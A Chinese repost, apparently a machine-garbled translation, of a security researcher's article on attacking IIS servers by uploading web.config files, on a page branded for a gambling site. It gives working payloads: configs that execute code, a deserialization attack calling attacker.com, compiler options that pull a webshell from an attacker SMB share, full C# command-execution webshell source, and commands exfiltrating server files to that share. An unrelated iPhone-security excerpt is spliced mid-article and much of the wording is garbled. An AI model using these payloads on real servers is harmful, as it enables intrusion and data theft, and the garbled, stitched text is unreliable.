深入分析web.config上传方面的安全问题(上) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

深入分析web.config上传方面的安全问题(上)

申博_安全防护 申博 60次浏览 已收录 0个评论

弁言

这是我撰写的第二篇剖析web.config平安题目的文章。早在2014年[1]的时刻,我们撰写过一篇这方面的文章,个中引见了一种运转ASP典范代码的要领,以及怎样仅经由历程上传web.config文件发起存储型XSS进击。

在这篇文章中,我们将着眼于运转web.config文件自身,以及在把web.config上传到IIS服务器上的运用顺序历程当中可以派上用场的其他手艺。这里的主要目的,是运用web.config文件在服务器上实行代码或敕令,以及针对存储型XSS的其他进击手艺。

本文中形貌的手艺可以分为两大类,详细取决于它们是不是可以在运用顺序根目次或子文件夹/虚拟目次中上传web.config文件。假如您不熟悉触及IIS的虚拟目次和运用顺序等术语的话,请参阅文献[2]。另外,我撰写的另一篇文章[3],关于在黑盒评价时期辨认虚拟目次或运用顺序也是异常有用的,人人无妨读一下。

1. 运用根目次或运用顺序目次中的web.config实行敕令

当一个运用顺序已运用了一个将要被我们的web.config文件替代的web.config文件,而我们的web.config文件又没有举行准确的设置的时刻——比方数据库衔接字符串或一些有用的顺序集援用等,这类要领将会带来庞大的破坏性。当运用顺序可以运用了将要替代的web.config文件时,发起不要在现实网站上尝试这类手艺。关于位于其他运用顺序或虚拟目次中的IIS运用顺序来讲,由于它们极可以并不运用web.config文件,因而,平常要比位于网站的根目次中的顺序要更平安一些。下图展现的是位于testwebconfig运用顺序内部的示例运用顺序anotherapp,它也位于Default Web Site目次中。

深入分析web.config上传方面的安全问题(上)

假如可以修正运用顺序根目次中的web.config文件的话,进击者就可以经由历程种种要领在服务器上实行敕令。

在本文中,我们将为读者引见四个风趣的相干例子,详细以下所示。

1.1. 将web.config作为ASPX页面实行

这与文献[1]中的例子异常相似,不过,在运用顺序的根目次中上传web.config文件的优点是,我们可以获得更多的控制权,因而,我们可以运用托管处置惩罚顺序将web.config文件作为ASPX页面运转,详细以下所示:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <handlers accessPolicy="Read, Script, Write">
            <add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" modules="ManagedPipelineHandler" requireAccess="Script" preCondition="integratedMode" />
            <add name="web_config-Classic" path="web.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" />
        </handlers>
        <security>
            <requestFiltering>
                <fileExtensions>
                    <remove fileExtension=".config" />
                </fileExtensions>
                <hiddenSegments>
                    <remove segment="web.config" />
                </hiddenSegments>
            </requestFiltering>
        </security>
        <validation validateIntegratedModeConfiguration="false" />
    </system.webServer>
    <system.web>
        <compilation defaultLanguage="vb">
            <buildProviders> <add extension=".config" type="System.Web.Compilation.PageBuildProvider" /> </buildProviders>
        </compilation>
        <httpHandlers>
            <add path="web.config" type="System.Web.UI.PageHandlerFactory" verb="*" />
        </httpHandlers>
    </system.web>
</configuration>
<!-- ASP.NET code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&amp;"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&amp;"-")
%>
-->

然后,只需阅读该web.config文件,体系就会将其作为ASP.NET页面来运转。明显,相干的XML内容也可以从网上举行接见。现实上,假如运器具有.config、.jpg或.txt文件等扩展名的文件来完成上传的话,或许会更轻易一些,由于这些带有这些扩展名的文件平常都能畅通无阻;完成上传今后,我们就可以将其作为.aspx页面来运转了。

1.2. 经由历程AspNetCoreModule模块来运转敕令

除此以外,我们也可以运用ASP.NET Core模块来运转敕令,详细以下所示:

<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <system.webServer>
      <handlers>
        <remove name="aspNetCore" />
         <add name="aspNetCore" path="backdoor.me" verb="*" modules="AspNetCoreModule" resourceType="Unspecified" />
      </handlers>
      <aspNetCore processPath="cmd.exe" arguments="/c calc"/>
    </system.webServer>
</configuration>

阅读backdoor.me页面时,上述敕令就会被实行,主要的是,这里不要求该页面位于服务器上! 这里可以运用powershell敕令作为反向shell。

1.3. 运用机械密钥

如文献[4]所述,可以在web.config文件中设置machineKey元素,以便运用反序列化功能在服务器上运转相干的代码和敕令。

1.4. 运用json_appservice.axd

这是在.NET Framework的身份验证历程当中运用已知的反序列化破绽在服务器上悄咪咪地运转代码的一种好要领(有关详细信息,请参阅文献[5])。

In this case, the web.config file can look like this:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web.extensions>
        <scripting>
            <webServices>
                <authenticationService enabled="true" requireSSL="false" /> 
            </webServices>
        </scripting>
    </system.web.extensions>
 
    <appSettings>
        <add key="aspnet:UseLegacyClientServicesJsonHandling" value="true" />
    </appSettings>
 
    <system.web>
        <membership defaultProvider="ClientAuthenticationMembershipProvider">
            <providers>
                <add name="ClientAuthenticationMembershipProvider" type="System.Web.ClientServices.Providers.ClientFormsAuthenticationMembershipProvider, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" serviceUri="http://attacker.com/payload?" />
            </providers>
        </membership>
    </system.web>
</configuration>

下面的JSON显现的是进击者网站(http://attacker.com/payload)上可以接收POST要求的payload页面:

{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'ObjectInstance':{
        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        'StartInfo': {
            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'FileName':'cmd',
            'Arguments':'/c calc'
        }
    }
}

上传web.config文件并在长途服务器上装置payload页面后,进击者可以发送以下所示的HTTP要求,从而在服务器上运转其代码和敕令:

POST /testwebconfig/Authentication_JSON_AppService.axd/login HTTP/1.1
Host: victim.com
Content-Length: 72
Content-Type: application/json;charset=UTF-8
 
{"userName":"foo","password":"bar","createPersistentCookie":false}

须要注重的是,偶然Profile_JSON_AppService.axd或Role_JSON_AppService.axd在这里也能派上用场,然则须要在web.config中启用它们,而且还得经由历程挪用恰当的要领来触发反序列化历程。

2. 运用子文件夹/虚拟目次中的web.config来实行敕令

与运用顺序文件夹地点根目次中的web.config文件比拟,虚拟目次中的web.config文件遭到的限定要更大一些。我们晓得,web.config文件中的某些部份或属性是可用于实行AspNetCoreModule、machineKey、buildProviders和httpHandler等敕令的,然则关于子文件夹中的web.config文件来讲,则完整不是这么回事。

在文献[1]中,我引见了一种本身发明的要领,当体系许可在虚拟目次中运用ISAPI模块时,可以经由历程该要领将web.config文件作为ASP文件运转:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />      
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&amp;"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&amp;"-")
%>
-->

其他模块(比方用于PHP的模块)也可以相似的体式格局加以运转,只需被许可的话。然则,假如IIS运用顺序设置确当的话,平常是不许可运转除.NET代码以外的任何代码的。为了处理这个题目,背面将引见更多的相干手艺。

2.1. 滥用compilerOptions属性

这里将web.config文件作为基础模板:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web>
        <httpRuntime targetFramework="4.67.1"/>
        <compilation tempDirectory="" debug="True" strict="False" explicit="False" batch="True"
            batchTimeout="900" maxBatchSize="1000" maxBatchGeneratedFileSize="1000" numRecompilesBeforeAppRestart="15"
            defaultLanguage="c#" targetFramework="4.0" urlLinePragmas="False" assemblyPostProcessorType="">
 
            <assemblies>
 
            </assemblies>
 
            <expressionBuilders>
 
            </expressionBuilders>
 
            <compilers>
                <compiler language="c#"
                    extension=".cs;.config"
                    type="Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
                    warningLevel="4"
                    compilerOptions=''/>
            </compilers>
        </compilation>
    </system.web>
    <system.webServer>
        <handlers>
            <add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" />
        </handlers>
        <security>
            <requestFiltering>
                <hiddenSegments>
                    <remove segment="web.config" />
                </hiddenSegments>
                <fileExtensions>
                    <remove fileExtension=".config" />
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

我们可以将compiler元素的type属性设置为以下默许范例之一(注重,版本可以修正的):

C#:
 
Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

我们运用csc.exe敕令举行编译。

VB.NET (这里以版本2为例举行申明 :

世界上没有绝对安全的手机,保护iPhone安全的七个提示

众所周知,iPhone以安全而闻名。正是因为它实在是太安全了,所以FBI一直对苹果公司特别关注。不过,不管怎样,iPhone也并不是无懈可击的,世界上没有绝对安全的手机。 虽然Apple的硬件变得越来越安全,但如果你有一些不良的网络安全习惯,那么您的iPhone也一样会受到攻击。本文将为您提供以下七个安全提示,帮助您确保iPhone的安全。 1.使用长密码 很多人为了保护手机都会设置一个四位数的密码,或者是更安全的六位数密码。这种方法不是不可行,但是如果小

Microsoft.VisualBasic.VBCodeProvider, System, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

这里运用vbc.exe敕令举行编译。

Jscript.NET:
 
Microsoft.JScript.JScriptCodeProvider, Microsoft.JScript, Version=7.0.3300.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a

这里运用jsc.exe敕令举行编译。

这些敕令平常可以从.NET文件夹中找到。关于.NET v4来讲,该文件夹位于:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\

上面的web.config模板文件中的compilerOptions属性的值将作为参数添加到编译器敕令中。另外,我们还可以经由历程空格字符供应多个参数。

假如没有为编译器敕令供应选项,compilerOptions属性的值将被视为要编译的编译器的文件名。

字符#用于停止敕令,字符@用于加载另一个文件,概况请参阅文献[6]。

假如我们能在编译一个C#、VB.NET或Jscript.NET文件时找到一个实行敕令的要领,我们就可以经由历程编译一个分外的文件(可以来自长途同享驱动器或之前上传的静态文件)来轻松完成进击历程。遗憾的是,我至今还没有找到如许的要领。假如读者相识相干的技能的话,请肯定告诉我,好让我将它们添加到这里!

主要注重事项:假如ASP.NET页面位于web.config文件的上传文件夹中,那末当我们修正编译历程后,它们将没法运用我在这里供应的示例。因而,假如您只要一次上传web.config文件的时机,而且没法再次重写该文件,那末除非您对本身的要领有相对的把握,并不然相对不要对没法平安上传到空文件夹中的临盆运用顺序以身犯险。

2.1.1. 建立Web shell

以下字符串显现的是compilerOptions属性,该属性可用于在Web目次中建立包括二进制数据的Web shell:

/resource:"\\KaliBoxIP\Public\webshell.txt" /out:"C:\appdata\wwwroot\myapp\webshell.aspx" #

运用上述设置阅读web.config文件后,体系会在要求的途径中建立一个名为webshell.aspx的二进制文件。就这里来讲,相识服务器上的运用顺序途径是异常主要的。为此,可以想法触发一个引发ASP.NET黄屏死机(YSOD)的毛病,如许就能在相干的毛病音讯中看到运用顺序的途径。固然,我们发起在另一个文件(而非web.config文件自身)中建立一个毛病,如许的话,今后可以修正它,而会不影响web.config文件:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.web>
        <customErrors mode="Off" />
        IDontExist!
    </system.web>
</configuration>

另外,要想举行一般的编译,我们应当在web.config文件的上传目次以外建立Web shell,除非建立Web shell今后,还能修正web.config文件并删除compilerOptions属性。

应当注重的是,webshell.txt中的代码将嵌入到包括二进制数据的webshell.aspx中。由于它不是这个webshell的清洁副本,因而,可以用于猎取接见权限的第一阶段代码。

假如没法接见SMB的话,我们该怎么办呢?

假如目的没法经由历程SMB举行通讯,则可以运器具有许可的扩展名的文件来上传Web shell,并将其存放到/resource选项中:

/resource:"C:\appdata\wwwroot\myapp\attachment\myshell.config" /out:"C:\appdata\wwwroot\myapp\webshell.aspx" #

2.1.2. 接受现有的ASPX文件

当ASPX文件位于web.config文件的上传文件夹中时,就可以经由历程修正编译历程来接受该文件。

运用顺序和虚拟目次的学问对运用这类手艺来讲是异常主要的,下面我们举例申明:

这里假定web.config文件被上传到了C:\appdata\wwwroot\myapp\attachment\文件夹中,而file.aspx也正好位于统一个文件夹中,并可经由历程以下URL举行接见:

https://victim.com/myapp/attachment/file.aspx

如今,我们就可以运用以下编译器选项来接受该文件了:

\\KaliBoxIP\Public\webshellcs.txt #

"C:\appdata\wwwroot\myapp\attachment\webshellcs.txt" #

webshellcs.txt文件的内容以下所示:

namespace ASP
{
    using System;
    [System.Runtime.CompilerServices.CompilerGlobalScopeAttribute()]
    public class attachment_file_aspx : global::System.Web.UI.Page, System.Web.IHttpHandler
    {
        private void @__Render__control1(System.Web.UI.HtmlTextWriter @__w, System.Web.UI.Control parameterContainer)
        {
            if (!String.IsNullOrEmpty(Request["cmd"]))
            {
                System.Diagnostics.Process process = new System.Diagnostics.Process();
                process.StartInfo.FileName = Request["cmd"];
                process.StartInfo.Arguments = Request["arg"];
                process.StartInfo.UseShellExecute = false;
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.RedirectStandardError = true;
                process.Start();
                //* Read the output (or the error)
                string output = process.StandardOutput.ReadToEnd();
                @__w.Write("Result:<br><pre>");
                @__w.Write(output);
            }
            else
            {
                @__w.Write("Use:\"?cmd=cmd.exe&amp;arg=/c dir\" as an example!");
            }
        }
 
        [System.Diagnostics.DebuggerNonUserCodeAttribute()]
        protected override void FrameworkInitialize()
        {
            this.SetRenderMethodDelegate(new System.Web.UI.RenderMethod([email protected]__Render__control1));
        }
    }
}

2.1.3. 盗取内部文件

下面的字符串展现的是compilerOptions属性:

/resource:c:\windows\win.ini /out:\\KaliBoxIP\Public\test.bin

如许的话,一旦翻开上传文件夹中现有的ASP.NET页面,就会在含有win.ini文件的同享文件夹中天生test.pdb和test.bin文件。这关于盗取运用顺序的web.config文件特别有用,由于它可以存有敏感数据,比方可以致使长途代码实行的机械密钥[4]等。

2.1.4. 盗取与该运用相干的更多数据

以下字符串显现的是compilerOptions属性:

/resource:\\KaliBoxIP\Public\test.txt -bugreport:\\KaliBoxIP\Public\foobar1.txt /errorreport:none

在该文件夹中翻开现有ASP.NET页面后,会在同享途径上建立一个大文件,该文件可以包括与该运用顺序及其底层手艺相干的敏感数据。

深入分析web.config上传方面的安全问题(上)

明显,当途径已知而且可以长途下载文件时,我们也可以在统一Web服务器上建立该文件。

本文翻译自: https://soroush.secproject.com/blog/2019/08/uploading-web-config-for-fun-and-profit-2/


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明深入分析web.config上传方面的安全问题(上)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址